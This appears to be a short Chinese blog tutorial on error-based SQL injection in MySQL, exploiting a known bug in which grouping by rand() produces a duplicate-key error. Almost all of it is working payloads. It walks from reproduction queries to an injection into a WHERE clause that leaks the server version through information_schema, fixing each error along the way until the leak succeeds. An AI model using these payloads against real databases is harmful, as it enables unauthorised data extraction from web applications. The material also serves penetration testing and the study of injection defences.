这里主要用了mysql的一个BUG ：http://bugs.mysql.com/bug.php?id=8652

grouping on certain parts of the result from rand, causes a duplicate key error.重现过程

use mysql;create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);select left(rand(),3),a from r1 group by 1;select left(rand(),3),a, count(*) from r1 group by 1;select round(rand(1),1),a, count(*) from r1 group by 1;

于是便可以这样拿来爆错注入了。

select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x;

尝试拿来实战

select * from user where user=’root’ and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

提示错误 选择的列应该为一个。那么。我们换一下

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));

1248 (42000): Every derived table must have its own alias

提示多表查询要有别名 那好办

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

或者

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);

成功爆粗注入了

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